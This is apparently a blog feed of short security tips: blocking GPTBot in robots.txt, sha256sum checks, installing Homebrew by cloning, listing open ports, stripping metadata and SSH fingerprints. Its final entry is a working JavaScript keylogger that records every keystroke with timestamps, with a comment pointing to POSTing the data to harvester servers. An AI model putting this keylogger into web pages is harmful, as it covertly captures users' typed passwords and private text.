Security on Codrut Constantin Gusoi

Disallow GPT in robots.txt

Sat, 12 Aug 2023 05:50:06 +0000

Enable robots.txt in your hugo.toml (formerly config.toml):

enableRobotsTXT = true

Add a file layouts/robots.txt with:

User-agent: GPTBot
Disallow: /

User-agent: *
Allow: /

How to Use: sha256sum

Sun, 02 Apr 2023 16:54:33 +0000

Prerequisites Link to heading

Create a basic file:

echo "abc123" > test123.txt

Digest Link to heading

Find the sha256sum of a file with:

sha256sum test123.txt

You will get the following result:

5ecf8d2cc410094e8b82dd0bc178a57f3aa1e80916689beb00fe56148b1b1256  test123.txt

NOTE: there are 2 spaces between the digest and file name. TWO SPACES!!!

Save that result into a file for easy checking:

sha256sum test123.txt > test123.txt.sha256

Check Link to heading

If there’s a sha256 file available, you can do:

How to install Homebrew securely

Sat, 17 Sep 2022 12:18:08 +0000

The instructions at https://brew.sh/ are extremely dangerous! Here is how to install homebrew properly.

NOTE: we assume your homebrew path is: ~/Workspace/Hub/brew

Code Link to heading

Clone the repository:

git clone https://github.com/Homebrew/brew.git ~/Workspace/Hub/brew

cd ~/Workspace/Hub/brew

Review the code carefully!
Check the commit sha matches the one from the last commit on the repository website:
```
git rev-parse HEAD
```
Now you have a secure copy of the repository and you can automate the process.

List all open ports

Tue, 29 Jun 2021 08:33:30 +0000

netstat -atun

Now either grep or browse to see if you accidentally exposed your database to the world.

Remove metadata from images and documents

Thu, 20 May 2021 09:37:23 +0000

Every image or document you create has built in spyware, remove it like this:

Install Link to heading

sudo pacman -S perl-image-exiftool

Usage Link to heading

exiftool -overwrite_original_in_place -all= path-to-file

Get SSH key fingerprint

Thu, 11 Feb 2021 07:29:57 +0000

ssh-keygen -l -E md5 -f ~/.ssh/my-ssh-key

It will display something like this:

256 MD5:8e:1c:b5:a3:f5:09:ca:72:ad:f0:1b:5d:ed:2a:03:38 my-ssh-key (ED25519)

Javascript keylogger

Mon, 07 Dec 2020 10:11:10 +0000

Harvest the keyboard of your data cattle with this code:

(() => {
  let buffer = []
  let limit  = 1024
  let start  = Date.now()

  let timeout = null
  let delay   = 1500

  let feast = (payload) => {
    // Replace this with a POST to your harvester servers.
    console.log(payload)
  }

  let harvest = () => {
    let end     = Date.now()
    let payload = {c: buffer, s: start, e: end}

    feast(payload)

    buffer = []
    start  = Date.now()
  }

  document.addEventListener('keydown', (event) => {
    let key   = event.key || event.keyCode;
    let entry = {k: key, t: Date.now()}

    buffer.push(entry)
    if (buffer.length >= limit) { harvest() }

    clearTimeout(timeout)
    timeout = setTimeout(() => { harvest() }, delay);
  })
})()

It’s that easy! Let the feast begin!